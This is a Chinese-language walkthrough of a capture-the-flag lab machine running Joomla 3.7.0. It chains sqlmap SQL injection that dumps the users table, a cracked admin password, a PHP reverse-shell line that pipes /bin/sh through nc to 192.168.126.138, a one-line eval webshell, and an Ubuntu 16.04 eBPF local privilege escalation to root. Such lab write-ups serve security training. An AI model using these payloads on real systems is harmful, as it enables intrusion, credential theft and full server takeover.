1. 靶機介紹
主要的內容有 sql 注入漏洞、joomla 框架漏洞、ssh 攻擊、shell 反彈、提權
信息收集(ip、端口、目錄、指紋信息)--->利用漏洞--->反彈---->提權
2. 信息收集
2.1. 掃描存活 ip
192.168.220.134
2.2. 端口掃描
nmap -T4 ?-A ?-p- ?192.168.220.134
通過對端口掃描,發現對外開放了 80 端口,然后進行訪問
還發現了當前主機的 CMS 是 Joomla
2.3. 敏感目錄掃描
nikto ?-h ?192.168.220.134
administrator/index.php
通過對敏感目錄掃描,可以發現后臺管理的登錄頁面,嘗試訪問:
2.4. 通過 joomscan 掃描相關的漏洞
?
joomscan ?--url ?http://192.168.220.134?
2.5. 掃描 joomla存在的漏洞
searchsploit Joomla 3.7.0
結合漏洞的文件名叫 42033.txt,查找這個文件所在的具體位置
find / -name ?"42033.txt"
查看文件的內容
cat ?/usr/share/exploitdb/exploits/php/webapps/42033.txt
3.漏洞利用
3.1. sql 注入漏洞
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
利用提供的 sqlmap 進行數據庫爆破
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T ?'#__users' ??--columns -p list[fullordering]
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T ?'#__users' ??-C 'name,password' ??--dump -p list[fullordering]
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
此時獲取到賬號和密碼,但是密碼被加密了
可以通過 kali 內置的 john 工具進行解密,首先需要將密文保存在一個 txt 文件中
vim jop.txt
john --show ?jop.txt
得到密碼是snoopy
用戶名admin
登錄
3.2. shell 反彈
可以發現這個區域能夠寫入 php 代碼,此時可以聯想,1.可以寫一句話木馬,然后通過蟻劍連接,2.進行 shell 反彈,此時我們可以先新建一個 shell.php 文件,然后寫入反彈的 shell
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.126.138 6666 >/tmp/f');?>
在 kali 中開啟 nc 監聽
nc -lvp 6666
接下來需要訪問 shell.php 文件
http://192.168.220.134/templates/beez3/shell.php
使用 python 腳本設置命令行
python -c 'import pty;pty.spawn("/bin/bash")'
接下來嘗試使用用戶提權,發現行不通
sudo ?-l
可以嘗試使用操作系統提權方式,先查看操作系統的版本信息
cat ?/etc/issue
3.3. 發現操作系統的漏洞
接下來搜索操作系統的漏洞
searchsploit ??Ubuntu 16.04
Privilege Escalation 權限升級
searchsploit -p linux/local/39772.txtcat /usr/share/exploitdb/exploits/linux/local/39772.txt
3.4. 利用操作系統漏洞
需要通過這個 39772.zip 這個壓縮包來進行提權
在本地下載這個文件,然后通過蟻劍進行上傳
首先先需要創建一個 one.php 文件并寫入一句話木馬
<?php ?@eval($_POST[123])?>
需要訪問這個 one.php,讓木馬生效
接下來使用蟻劍來進行連接
進入服務器內容進行壓縮包的解壓
cd 39772lstar -xvf exploit.tar
3.5. 利用工具進行提權
進入目錄并執行文件,最后提權成功
cd ebpf_mapfd_doubleput_exploit./compile.sh./doubleput
3.6. 找到最終的 flag
進入/root 目錄,最終進行提權
cd ?/rootcat ?the-flag.txt